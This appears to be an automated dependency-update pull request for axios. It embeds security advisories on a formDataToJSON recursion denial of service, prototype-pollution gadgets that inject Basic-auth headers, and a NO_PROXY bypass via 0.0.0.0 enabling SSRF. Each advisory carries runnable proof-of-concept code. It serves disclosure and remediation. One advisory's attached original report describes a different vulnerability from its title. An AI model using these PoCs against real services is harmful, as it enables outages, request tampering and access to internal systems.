  • AxiosError Serialisation: Made AxiosError#cause non-enumerable to prevent circular JSON serialisation failures when errors include nested causes. (#​10913)
  • Node HTTP Adapter: Guarded socket.setKeepAlive for proxy agent streams, accepted path-only URLs when socketPath is configured, deferred environment proxy handling to Node, and explicitly passed maxBodyLength through to follow-redirects. (#​10917, #​10930, #​10942, #​10993)
  • Runtime and Type Correctness: Fixed several runtime crashes, type definition mismatches, and incorrect error handling paths. (#​10959, #​11021)
  • AxiosURLSearchParams: Switched the encoder callback to an arrow function so encoder.call(this) receives the AxiosURLSearchParams instance correctly. (#​11019)

🔧 Maintenance & Chores

🌟 New Contributors

We are thrilled to welcome our new contributors. Thank you for helping improve axios:

Full Changelog

v1.18.0

Compare Source

This release hardens redirect and URL handling, improves the validateStatus configuration semantics, and includes updates to documentation, dependencies, and release metadata.

v1.17.0

Compare Source

This release adds Node HTTP zstd decompression, hardens config and release workflows, and fixes authentication, header, proxy, and type-handling regressions.

v1.16.1

Compare Source

This release ships a defence-in-depth fix for prototype pollution in formDataToJSON, hardens proxy and CI workflows, restores Webpack 4 compatibility for the fetch adapter, and includes several small bug fixes and maintenance improvements.


Configuration

📅 Schedule: (in timezone Europe/Berlin)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Mend Renovate CLI.

This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [axios](https://axios-http.com) ([source](https://github.com/axios/axios)) | [`1.16.0` → `1.20.0`](https://renovatebot.com/diffs/npm/axios/1.16.0/1.20.0) | ![age](https://developer.mend.io/api/mc/badges/age/npm/axios/1.20.0?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/axios/1.16.0/1.20.0?slim=true) | --- ### Axios: Excessive recursion in formDataToJSON can cause denial of service [CVE-2026-67313](https://nvd.nist.gov/vuln/detail/CVE-2026-67313) / [GHSA-42h9-826w-cgv3](https://github.com/advisories/GHSA-42h9-826w-cgv3) <details> <summary>More information</summary> #### Details ##### Summary Axios versions `0.28.0` and later contain uncontrolled recursion in `formDataToJSON`, the helper behind the public `axios.formToJSON()` / named `formToJSON` API and the default request transform used when FormData is sent with an `application/json` content type. Applications are affected when they pass attacker-controlled `FormData` field names into this functionality. A field name with thousands of nested bracket segments can exhaust the JavaScript call stack and throw `RangeError: Maximum call stack size exceeded`, causing request failure and, in applications that do not handle the exception or rejected promise, possible process termination. ##### Impact The impact is denial of service against applications that process untrusted `FormData` field names through axios' FormData-to-JSON conversion. The vulnerable path is not reached by merely installing axios, by normal multipart `FormData` pass-through, or by ordinary axios requests that do not request JSON serialisation of `FormData`. In the default axios request, the error is produced before network I/O and returned as a rejected Promise. Direct use of `formToJSON()` throws synchronously. Server-side applications are the primary risk when remote users can submit arbitrary form field names, and the application converts those fields with `formToJSON()` or sends them through axios as JSON. ##### Affected Functionality Affected APIs and paths: - `axios.formToJSON(formData)` - `import { formToJSON } from "axios"` - `lib/helpers/formDataToJSON.js` - axios default `transformRequest` when `data` is `FormData` and `Content-Type` contains `application/json` Unaffected or lower-risk paths: - Normal multipart `FormData` requests without `JSON Content-Type` - `toFormData()` object-to-FormData serialisation, which already has a `maxDepth` guard - Axios versions before 0.28.0, where this helper and public API were not present ##### Technical Details `lib/helpers/formDataToJSON.js` parses a form field name into path segments with `parsePropPath()`. For a key such as `a[x][x][x]`, each bracketed segment becomes another path element. `formDataToJSON()` then calls the nested `buildPath(path, value, target, index)` function. `buildPath()` recursively calls itself once for each path segment and does not enforce a maximum depth: `const result = buildPath(path, value, target[name], index);` A key containing thousands of bracket segments, therefore, creates thousands of recursive calls. At sufficient depth, V8 throws `RangeError: Maximum call stack size exceeded`. Axios already applies a depth guard to the inverse serializer in `lib/helpers/toFormData.js`, where `maxDepth` defaults to 100 and exceeding it throws `AxiosError` with code `ERR_FORM_DATA_DEPTH_EXCEEDED`. `formDataToJSON()` does not currently have equivalent protection. ##### Proof of Concept of Attack ```js import { formToJSON } from "axios"; const fd = new FormData(); fd.append("a" + "[x]".repeat(15000), "value"); try { formToJSON(fd); console.log("not vulnerable"); } catch (err) { console.log(`${err.constructor.name}: ${err.message}`); } ``` Expected vulnerable result: RangeError: Maximum call stack size exceeded The axios request transform path can also be reached before network I/O: ```js import axios from "axios"; const fd = new FormData(); fd.append("a" + "[x]".repeat(15000), "value"); await axios .post("http://127.0.0.1:1/", fd, { headers: { "Content-Type": "application/json" } }) .catch((err) => console.log(`${err.constructor.name}: ${err.message}`)); ``` Expected vulnerable result: RangeError: Maximum call stack size exceeded ##### Workarounds Applications can avoid the vulnerable path by not converting attacker-controlled `FormData` to JSON with axios. If conversion is required before a fixed axios release is available, validate `FormData` field names before calling `formToJSON()` or before sending `FormData` with `Content-Type: application/json`. Reject keys whose parsed nesting depth exceeds the application's expected schema. For axios requests carrying untrusted `FormData`, avoid setting `Content-Type: application/json`; leaving the data as multipart FormData bypasses `formDataToJSON()`. Catching the resulting error can prevent process termination, but it does not remove the uncontrolled-recursion behaviour and should not be treated as the primary mitigation. <details> <summary>Original Report</summary> ##### Axios SSRF via Incomplete Loopback Detection ##### CWE-918 | CVSS 7.5 (HIGH) | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L --- ##### 1. Classification | CWE | CVSS Score | Severity | Type | |-----|-----------|----------|------| | CWE-918 | 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) | HIGH | Server-Side Request Forgery | ##### 2. Description ##### Summary The `shouldBypassProxy()` function in Axios fails to recognise `0.0.0.0`, `::`, and `::ffff:0.0.0.0` as loopback addresses. When `NO_PROXY=localhost` is configured, requests to these addresses are incorrectly forwarded through the proxy instead of being sent directly, enabling an SSRF attack against internal services reachable via the proxy's loopback interface. ##### Root Cause **File:** `lib/helpers/shouldBypassProxy.js` **`isIPv4Loopback` (lines 3-8):** Only checks for `127.x.x.x` addresses by inspecting `parts[0] !== '127'`. The `0.0.0.0` address has `parts[0] === '0'`, so it falls through as non-loopback, even though on Linux `0.0.0.0` routes to the loopback interface. **`isIPv6Loopback` (lines 10-38):** Only checks `host === '::1'`. The `::` address (unspecified IPv6) also routes to the loopback, but is not recognised. **Attack Flow:** ``` isIPv4Loopback (line 3) — fails for 0.0.0.0 → isLoopback (line 44) — wraps both checks, returns false → shouldBypassProxy (line 127) — PUBLIC API, exported default → lib/adapters/http.js (line 190) — Node.js HTTP adapter ``` ##### Attack Vector - **Access Vector:** Network (AV:N) - **Access Complexity:** Low (AC:L) — attacker only needs control of a URL - **Privileges Required:** None (PR:N) - **User Interaction:** None (UI:N) ##### 3. Proof of Concept ##### Phase 1: Logic Verification ```javascript import shouldBypassProxy from 'axios/lib/helpers/shouldBypassProxy.js'; // Normal loopback — correctly returns true (bypasses proxy) shouldBypassProxy('http://127.0.0.1:9999/'); // → true // Vulnerable — returns false (goes through proxy!) shouldBypassProxy('http://0.0.0.0:9999/'); // → false ← SSRF shouldBypassProxy('http://[::]:9999/'); // → false ← SSRF shouldBypassProxy('http://[::ffff:0.0.0.0]:9999/'); // → false ← SSRF ``` ##### Phase 2: Docker E2E Reproduction A full 3-container Docker reproduction was created and tested: - **Proxy container:** Simple HTTP forward proxy on port 8888 - **Internal container:** Internal service on port 9999 (simulates sensitive internal resource) - **Attacker container:** Runs the test script with Axios source mounted **Reproduction steps:** ```bash cd /tmp/deep-e2e docker compose up -d docker compose exec attacker node test-ssrf.js ``` **Results:** - Test 1: `127.0.0.1 + NO_PROXY=localhost` → BYPASS (correct) - Test 2: `0.0.0.0 + NO_PROXY=localhost` → VIA_PROXY (SSRF) - Test 3: `[::] + NO_PROXY=localhost` → VIA_PROXY (SSRF) - Test 4: `[::ffff:0.0.0.0] + NO_PROXY=localhost` → VIA_PROXY (SSRF) ##### Phase 3: Actual Axios Client The real Axios HTTP client (v1.16.1, source tree) was tested through proxy configuration: - Axios with `proxy: { host: 'proxy', port: 8888 }` - Setting `NO_PROXY=localhost` and requesting `http://0.0.0.0:9999/` - Result: Axios forwarded the request through the proxy instead of bypassing it ##### 4. Impact ##### Attack Scenario 1. Attacker has control over a URL that an Axios client will request (direct input, redirect target, open redirect chain) 2. The Axios client is configured with a proxy (e.g., corporate proxy) and `NO_PROXY=localhost` to protect internal services 3. Attacker supplies `http://0.0.0.0:8080/admin` as the target URL 4. Axios sends the request through the proxy 5. The proxy resolves `0.0.0.0` → the proxy's own loopback → reaches the internal admin service on port 8080 ##### Potential Consequences - **Information disclosure (C:L):** Internal service responses become accessible - **Integrity impact (I:L):** Attacker can trigger actions on internal services (if proxy supports PUT/POST/DELETE) - **Availability impact (A:L):** Limited — depends on internal service behavior ##### Likelihood - **High** — proxy bypass is a common pattern in microservice architectures - **Medium** — requires attacker control of a URL (not always available) ##### 5. Remediation ##### Code Fix **File:** `lib/helpers/shouldBypassProxy.js` ```javascript function isIPv4Loopback(host) { if (host === '0.0.0.0') return true; // ADD THIS LINE const parts = host.split('.'); if (parts.length !== 4) return false; if (parts[0] !== '127') return false; return parts.every(p => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255); } function isIPv6Loopback(host) { if (host === '::1' || host === '::') return true; // ADD '::' // ... rest of implementation } ``` ##### Workarounds - Add `0.0.0.0` and `::` to the `NO_PROXY` environment variable explicitly - Use `127.0.0.1` instead of `0.0.0.0` in all internal service URLs - Implement URL validation to reject `0.0.0.0` and `::` before passing to Axios #### Severity - CVSS Score: 6.3 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N` #### References - [https://github.com/axios/axios/security/advisories/GHSA-42h9-826w-cgv3](https://github.com/axios/axios/security/advisories/GHSA-42h9-826w-cgv3) - [https://nvd.nist.gov/vuln/detail/CVE-2026-67313](https://nvd.nist.gov/vuln/detail/CVE-2026-67313) - [https://nvd.nist.gov/vuln/detail/CVE-2026-68942](https://nvd.nist.gov/vuln/detail/CVE-2026-68942) - [https://github.com/axios/axios/pull/11000](https://github.com/axios/axios/pull/11000) - [https://github.com/axios/axios/pull/11001](https://github.com/axios/axios/pull/11001) - [https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d](https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d) - [https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2](https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2) - [https://github.com/axios/axios](https://github.com/axios/axios) - [https://github.com/axios/axios/releases/tag/v0.33.0](https://github.com/axios/axios/releases/tag/v0.33.0) - [https://github.com/axios/axios/releases/tag/v1.18.0](https://github.com/axios/axios/releases/tag/v1.18.0) - [https://www.vulncheck.com/advisories/axios-before-denial-of-service-via-formdatatojson](https://www.vulncheck.com/advisories/axios-before-denial-of-service-via-formdatatojson) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-42h9-826w-cgv3) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Axios: Nested axios option objects can consume polluted prototype values [CVE-2026-67319](https://nvd.nist.gov/vuln/detail/CVE-2026-67319) / [GHSA-7q8q-rj6j-mhjq](https://github.com/advisories/GHSA-7q8q-rj6j-mhjq) <details> <summary>More information</summary> #### Details ##### Summary Axios can consume inherited properties from nested request option objects when the JavaScript process already has a polluted `Object.prototype`. The top-level merged config is protected with a null prototype, but nested plain objects such as `auth` and `paramsSerializer` are cloned into ordinary objects. If application code passes placeholders such as `auth: {}` or `paramsSerializer: {}`, inherited `username`, `password`, `encode`, or `serialize` properties can influence outbound requests. ##### Impact This is reachable only when another component has already polluted `Object.prototype` and the application passes an affected nested axios option object. Confirmed impacts include silent injection of an `Authorization: Basic ...` header from inherited `username` and `password` values, and query-string tampering when inherited `paramsSerializer` fields are function-valued. The `auth` case requires only string-valued pollution. Full query-string replacement through `paramsSerializer.serialize` requires a function-valued pollution primitive; string-only pollution may still cause request failures or encoding changes through `encode`. This does not mean every axios request is affected. Requests that do not pass `auth`, do not pass `paramsSerializer`, or provide explicit own properties for the relevant nested fields are not affected by this specific gadget. ##### Affected Functionality Affected runtime functionality: - Node HTTP adapter Basic auth handling in `lib/adapters/http.js`. - Browser/fetch/XHR Basic auth handling through `lib/helpers/resolveConfig.js`. - Query serialization through `lib/helpers/buildURL.js`. - `axios.getUri()` when called with an affected `paramsSerializer` object. Affected config shapes: - `auth: {}` or an `auth` object missing own `username` and/or `password`. - `paramsSerializer: {}` or a `paramsSerializer` object missing own `encode` and/or `serialize`. Unaffected by this specific issue: - Requests with no `auth` property. - Requests with no `paramsSerializer` property. - Top-level polluted `auth` or `paramsSerializer` values in current hardened versions. ##### Technical Details `lib/core/mergeConfig.js` creates the top-level merged config with `Object.create(null)`, but nested object cloning still uses ordinary `{}` containers: ```js } else if (utils.isPlainObject(source)) { return utils.merge({}, source); } ``` Downstream code then reads nested fields without own-property checks. In `lib/helpers/resolveConfig.js`: ```js btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : '')) ``` In `lib/adapters/http.js`: ```js const username = configAuth.username || ''; const password = configAuth.password || ''; auth = username + ':' + password; ``` In `lib/helpers/buildURL.js`: ```js const _encode = (options && options.encode) || encode; const serializeFn = _options && _options.serialize; ``` ##### Proof of Concept of Attack ```js import http from 'node:http'; import axios from './index.js'; const user = 'attacker'; const pass = 'exfil'; Object.defineProperty(Object.prototype, 'username', { value: user, configurable: true }); Object.defineProperty(Object.prototype, 'password', { value: pass, configurable: true }); Object.defineProperty(Object.prototype, 'serialize', { value: () => 'polluted=1', configurable: true }); const server = http.createServer((req, res) => { res.writeHead(200, { 'content-type': 'application/json' }); res.end(JSON.stringify({ authorization: req.headers.authorization || null, url: req.url })); }); await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)); try { const port = server.address().port; const response = await axios.get(`http://127.0.0.1:${port}/demo`, { auth: {}, paramsSerializer: {}, params: { unused: 'ignored' } }); console.log(response.data); } finally { await new Promise((resolve) => server.close(resolve)); delete Object.prototype.username; delete Object.prototype.password; delete Object.prototype.serialize; } ``` Observed result: ```json { "authorization": "Basic YXR0YWNrZXI6ZXhmaWw=", "url": "/demo?polluted=1" } ``` ##### Workarounds If upgrading is not yet possible, avoid passing placeholder nested option objects. Remove `auth` entirely when Basic auth is not intended. For `paramsSerializer` objects, provide explicit own `encode` and `serialize` properties or remove `paramsSerializer` when custom serialization is not required. These workarounds only address this axios gadget. They do not remediate the separate prototype-pollution primitive that must already exist in the application process. <details> <summary>Original Report</summary> ##### Summary axios 1.16.1 mitigates prototype-pollution gadgets on the top-level request config but not on nested option objects. When a caller passes a partial nested option object such as auth: {} or paramsSerializer: {}, axios reads inner fields (username, password, encode, serialize) through the prototype chain. If Object.prototype has been polluted by another component in the same Node.js process, those inherited values are silently injected into the outbound request, including the Authorization header and the serialized query string. ##### Details mergeConfig (lib/core/mergeConfig.js) was hardened to use a null-prototype container for the top-level config, but its nested-clone helper still produces ordinary {} containers: mergeConfig.js Lines 36-45 ``` function getMergedValue(target, source, prop, caseless) { if (utils.isPlainObject(target) && utils.isPlainObject(source)) { return utils.merge.call({ caseless }, target, source); } else if (utils.isPlainObject(source)) { return utils.merge({}, source); } else if (utils.isArray(source)) { return source.slice(); } return source; } ``` The cloned nested objects therefore inherit from Object.prototype. Downstream consumers read sensitive fields via plain dotted access, with no own-property guard: Browser / fetch Basic auth — lib/helpers/resolveConfig.js: resolveConfig.js Lines 64-70 ``` if (auth) { headers.set( 'Authorization', 'Basic ' + btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : '')) ); } ``` Node HTTP adapter Basic auth — lib/adapters/http.js: http.js Lines 829-836 ``` // HTTP basic authentication let auth = undefined; const configAuth = own('auth'); if (configAuth) { const username = configAuth.username || ''; const password = configAuth.password || ''; auth = username + ':' + password; } ``` paramsSerializer reads — lib/helpers/buildURL.js: buildURL.js Lines 31-54 ``` export default function buildURL(url, params, options) { if (!params) { return url; } const _encode = (options && options.encode) || encode; const _options = utils.isFunction(options) ? { serialize: options, } : options; const serializeFn = _options && _options.serialize; let serializedParams; if (serializeFn) { serializedParams = serializeFn(params, _options); } else { serializedParams = utils.isURLSearchParams(params) ? params.toString() : new AxiosURLSearchParams(params, _options).toString(_encode); } ``` Because auth.username, auth.password, options.encode, and options.serialize are accessed without hasOwnProperty checks, a polluted Object.prototype.username / Object.prototype.password / Object.prototype.serialize flows directly into the outgoing request. The auth sink is the primary impact (silent Basic-auth injection); paramsSerializer.serialize is a secondary but powerful sink because it can fully replace the query string. ##### PoC ``` import http from 'node:http'; import axios from '../../index.js'; const ATTACKER_USER = 'attacker'; const ATTACKER_PASS = 'exfil'; const ATTACKER_BASIC = Buffer.from(`${ATTACKER_USER}:${ATTACKER_PASS}`).toString('base64'); // Step 1: simulate a pre-existing prototype-pollution primitive in this process. // In reality, a separate dependency would have done this. We keep the // "polluted" properties non-enumerable so they only affect inherited reads, // which is the realistic shape of most prototype-pollution gadgets. Object.defineProperty(Object.prototype, 'username', { value: ATTACKER_USER, configurable: true, }); Object.defineProperty(Object.prototype, 'password', { value: ATTACKER_PASS, configurable: true, }); Object.defineProperty(Object.prototype, 'serialize', { value: () => 'polluted=1', configurable: true, }); // Local capture server. const server = http.createServer((req, res) => { const captured = { authorization: req.headers['authorization'] || null, url: req.url, }; res.writeHead(200, { 'content-type': 'application/json' }); res.end(JSON.stringify(captured)); }); await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)); const port = server.address().port; try { // Application code: passes nested *placeholder* option objects that have // no own auth/serializer properties. Without prototype pollution this is // a no-op. With prototype pollution it becomes attacker-controlled state. const response = await axios.get(`http://127.0.0.1:${port}/demo`, { auth: {}, paramsSerializer: {}, params: { unused: 'ignored-by-polluted-serializer' }, }); console.log('--- PoC: nested-option prototype-pollution gadgets ---'); console.log('Server saw:', JSON.stringify(response.data)); const authLeaked = response.data.authorization === `Basic ${ATTACKER_BASIC}`; const urlRewritten = response.data.url === '/demo?polluted=1'; if (authLeaked && urlRewritten) { console.log( 'VULNERABLE: nested auth + paramsSerializer inherited polluted ' + 'Object.prototype values into the outbound request.' ); process.exitCode = 0; } else { console.log('NOT VULNERABLE: nested option objects did not leak prototype state.'); console.log(' authLeaked =', authLeaked); console.log(' urlRewritten =', urlRewritten); process.exitCode = 1; } } finally { server.close(); // Restore Object.prototype so a noisy exit/process state cannot affect // anything else accidentally sharing the runtime. delete Object.prototype.username; delete Object.prototype.password; delete Object.prototype.serialize; } ``` ##### Impact Concrete consequences: - Silent injection of attacker-controlled Authorization: Basic … headers on outbound requests, enabling credential exfiltration to attacker-chosen upstreams or impersonation against trusted upstreams. - Full takeover of query-string serialization via paramsSerializer.serialize, enabling request tampering, cache-key poisoning, and bypass of upstream signature/policy checks that sign the literal request line. <details> #### Severity - CVSS Score: 6.3 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N` #### References - [https://github.com/axios/axios/security/advisories/GHSA-7q8q-rj6j-mhjq](https://github.com/axios/axios/security/advisories/GHSA-7q8q-rj6j-mhjq) - [https://nvd.nist.gov/vuln/detail/CVE-2026-67319](https://nvd.nist.gov/vuln/detail/CVE-2026-67319) - [https://nvd.nist.gov/vuln/detail/CVE-2026-69123](https://nvd.nist.gov/vuln/detail/CVE-2026-69123) - [https://github.com/axios/axios/pull/11000](https://github.com/axios/axios/pull/11000) - [https://github.com/axios/axios/pull/11001](https://github.com/axios/axios/pull/11001) - [https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d](https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d) - [https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2](https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2) - [https://github.com/axios/axios](https://github.com/axios/axios) - [https://github.com/axios/axios/releases/tag/v0.33.0](https://github.com/axios/axios/releases/tag/v0.33.0) - [https://github.com/axios/axios/releases/tag/v1.18.0](https://github.com/axios/axios/releases/tag/v1.18.0) - [https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-nested-option-objects](https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-nested-option-objects) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-7q8q-rj6j-mhjq) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Axios: NO_PROXY bypass for 0.0.0.0 local addresses in axios [CVE-2026-67315](https://nvd.nist.gov/vuln/detail/CVE-2026-67315) / [GHSA-f4gw-2p7v-4548](https://github.com/advisories/GHSA-f4gw-2p7v-4548) <details> <summary>More information</summary> #### Details ##### Summary Axios versions containing `lib/helpers/shouldBypassProxy.js` do not treat `0.0.0.0` as a local address when evaluating `NO_PROXY` rules. In Node.js applications that use `HTTP_PROXY` or `HTTPS_PROXY` together with `NO_PROXY=localhost,127.0.0.1,::1` or similar, a request to `http://0.0.0.0:<port>/` can be routed through the configured proxy instead of bypassing it. The issue is exploitable when an attacker can influence the axios request URL or a followed redirect target, and when the proxy can reach or relay `0.0.0.0` to local services. This is a Node.js runtime proxy-routing issue, not a browser, install-time, or development-tooling issue. ##### Impact Applications are affected when all of the following are true: - The application runs axios in Node.js with the HTTP adapter. - The process uses environment proxy variables such as `HTTP_PROXY` or `HTTPS_PROXY`. - The process uses `NO_PROXY` entries such as `localhost`, `127.0.0.1`, or `::1` to keep local traffic out of the proxy path. - Attacker-controlled input can influence the request URL or redirect target. - The configured proxy does not reject `0.0.0.0` and can reach the local destination. For plain HTTP targets, the proxy can receive the full request URL, headers, and body, and may be able to observe the local service response. HTTPS targets are less exposed because axios uses CONNECT tunneling in current versions. ##### Affected Functionality Affected functionality is limited to environment-derived proxy selection in the Node HTTP adapter: - `lib/adapters/http.js` calls `getProxyForUrl(location)` and then `shouldBypassProxy(location)` before applying the proxy. - `lib/helpers/shouldBypassProxy.js` normalizes and compares `NO_PROXY` entries. - Explicit caller-provided `config.proxy` remains trusted caller configuration. - Browser, React Native, XHR, and fetch adapter behavior are not affected. ##### Technical Details `lib/helpers/shouldBypassProxy.js` defines local loopback equivalence through `isLoopback()`. The current implementation recognizes `localhost`, IPv4 `127.0.0.0/8`, IPv6 `::1`, and IPv4-mapped loopback forms, but it does not include `0.0.0.0`. At `lib/helpers/shouldBypassProxy.js:176`, axios treats two hosts as matching when both are considered loopback: ```js return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost)); ``` Because `isLoopback('0.0.0.0')` returns `false`, `NO_PROXY=localhost,127.0.0.1,::1` does not match `http://0.0.0.0:<port>/`. `lib/adapters/http.js:185-193` then applies the environment proxy. ##### Proof of Concept of Attack ```js import http from 'http'; import axios from './index.js'; const listen = (handler, host = '127.0.0.1') => new Promise((resolve) => { const server = http.createServer(handler); server.listen(0, host, () => resolve(server)); }); const close = (server) => new Promise((resolve) => server.close(resolve)); const origin = await listen((req, res) => res.end('origin'), '0.0.0.0'); let proxyRequests = 0; const proxy = await listen((req, res) => { proxyRequests += 1; res.end('proxied'); }); process.env.http_proxy = `http://127.0.0.1:${proxy.address().port}`; process.env.HTTP_PROXY = process.env.http_proxy; process.env.no_proxy = 'localhost,127.0.0.1,::1'; process.env.NO_PROXY = process.env.no_proxy; try { const direct = await axios.get(`http://127.0.0.1:${origin.address().port}/`); const zero = await axios.get(`http://0.0.0.0:${origin.address().port}/`); console.log({ direct: direct.data, zero: zero.data, proxyRequests }); } finally { await close(origin); await close(proxy); } ``` Expected safe behavior: both `127.0.0.1` and `0.0.0.0` bypass the proxy when the `NO_PROXY` policy is intended to cover local destinations. Observed behavior: `127.0.0.1` bypasses the proxy, while `0.0.0.0` is sent through the proxy. ##### Workarounds - Add `0.0.0.0` explicitly to `NO_PROXY` where local addresses must bypass proxies. - Reject or normalize `0.0.0.0` in application URL validation before calling axios. - Set `proxy: false` on axios requests that must never use environment proxies. - Configure the proxy itself to reject `0.0.0.0`, loopback, link-local, and internal address ranges. <details> <summary>Original Report</summary> ##### Summary `axios` versions 1.15.0–1.16.1 contain an incomplete loopback-address check in `lib/helpers/shouldBypassProxy.js`. The `isLoopback()` function correctly identifies `127.0.0.0/8` and `::1` as loopback addresses but does not recognise `0.0.0.0` — the IPv4 unspecified address, which routes to the local machine on Linux and macOS. An attacker who controls a URL passed to axios can use `http://0.0.0.0/<path>` to bypass proxy-based SSRF filtering that the application relies upon. ##### Details ##### Affected versions `>= 1.15.0, <= 1.16.1` The vulnerability was introduced in v1.15.0 when the `shouldBypassProxy` helper was added as a security improvement (PR #&#8203;10661). --- ##### Root cause **File:** `lib/helpers/shouldBypassProxy.js` ```javascript // Line 1 — static allowlist (incomplete) const LOOPBACK_HOSTNAMES = new Set(['localhost']); // ← 0.0.0.0 missing const isIPv4Loopback = (host) => { const parts = host.split('.'); if (parts.length !== 4) return false; if (parts[0] !== '127') return false; // ← 0.0.0.0: parts[0] = '0' → false return parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255); }; const isLoopback = (host) => { if (!host) return false; if (LOOPBACK_HOSTNAMES.has(host)) return true; // ← '0.0.0.0' not in set if (isIPv4Loopback(host)) return true; // ← returns false for 0.0.0.0 return isIPv6Loopback(host); }; isLoopback('0.0.0.0') returns false. Node's WHATWG URL parser does not normalise 0.0.0.0 to 127.0.0.1. Other bypass forms are safe: new URL('http://0177.0.0.1/').hostname → '127.0.0.1' (octal), new URL('http://2130706433/').hostname → '127.0.0.1' (decimal), new URL('http://0x7f000001/').hostname → '127.0.0.1' (hex). Only 0.0.0.0 escapes normalisation. ##### PoC 'use strict'; // Verbatim copy of relevant logic from axios v1.16.1 shouldBypassProxy.js const LOOPBACK_HOSTNAMES = new Set(['localhost']); const isIPv4Loopback = (host) => { const parts = host.split('.'); if (parts.length !== 4) return false; if (parts[0] !== '127') return false; return parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255); }; const isLoopback = (host) => { if (!host) return false; if (LOOPBACK_HOSTNAMES.has(host)) return true; return isIPv4Loopback(host); }; // 1. Show URL parser does NOT normalise 0.0.0.0 console.log(new URL('http://0.0.0.0/').hostname); // → '0.0.0.0' ← NOT normalised console.log(new URL('http://0177.0.0.1/').hostname); // → '127.0.0.1' ← normalised (safe) console.log(new URL('http://2130706433/').hostname); // → '127.0.0.1' ← normalised (safe) // 2. Show isLoopback fails for 0.0.0.0 console.log(isLoopback('0.0.0.0')); // → false ← BUG: should be true console.log(isLoopback('127.0.0.1')); // → true ← correct Verified output on Node.js v22 / axios v1.16.1: 0.0.0.0 ← NOT normalised by URL parser 127.0.0.1 ← octal normalised correctly 127.0.0.1 ← decimal normalised correctly false ← 0.0.0.0 not detected as loopback ⚠ true ← 127.0.0.1 correctly detected ##### Impact Applications that: Accept user-supplied URLs and pass them to axios Use a proxy with NO_PROXY=localhost (or similar) for SSRF filtering …can be bypassed by supplying http://0.0.0.0/<path>. Axios routes the request through the proxy (shouldBypassProxy returns false). If the proxy itself does not filter 0.0.0.0, the connection reaches the local machine — exposing internal services such as cloud IMDS endpoints, internal admin panels, or microservice APIs. Fix Minimal (one line): - const LOOPBACK_HOSTNAMES = new Set(['localhost']); + const LOOPBACK_HOSTNAMES = new Set(['localhost', '0.0.0.0']); Comprehensive: const isIPv4Unspecified = (host) => host === '0.0.0.0'; const isLoopback = (host) => { if (!host) return false; if (LOOPBACK_HOSTNAMES.has(host)) return true; if (isIPv4Loopback(host)) return true; if (isIPv4Unspecified(host)) return true; // add this line return isIPv6Loopback(host); }; </details> #### Severity - CVSS Score: 6.9 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N` #### References - [https://github.com/axios/axios/security/advisories/GHSA-f4gw-2p7v-4548](https://github.com/axios/axios/security/advisories/GHSA-f4gw-2p7v-4548) - [https://nvd.nist.gov/vuln/detail/CVE-2026-67315](https://nvd.nist.gov/vuln/detail/CVE-2026-67315) - [https://nvd.nist.gov/vuln/detail/CVE-2026-68946](https://nvd.nist.gov/vuln/detail/CVE-2026-68946) - [https://github.com/axios/axios/pull/11000](https://github.com/axios/axios/pull/11000) - [https://github.com/axios/axios/pull/11001](https://github.com/axios/axios/pull/11001) - [https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d](https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d) - [https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2](https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2) - [https://github.com/axios/axios](https://github.com/axios/axios) - [https://github.com/axios/axios/releases/tag/v0.33.0](https://github.com/axios/axios/releases/tag/v0.33.0) - [https://github.com/axios/axios/releases/tag/v1.18.0](https://github.com/axios/axios/releases/tag/v1.18.0) - [https://www.vulncheck.com/advisories/axios-before-no-proxy-bypass-via](https://www.vulncheck.com/advisories/axios-before-no-proxy-bypass-via) This data is provided by 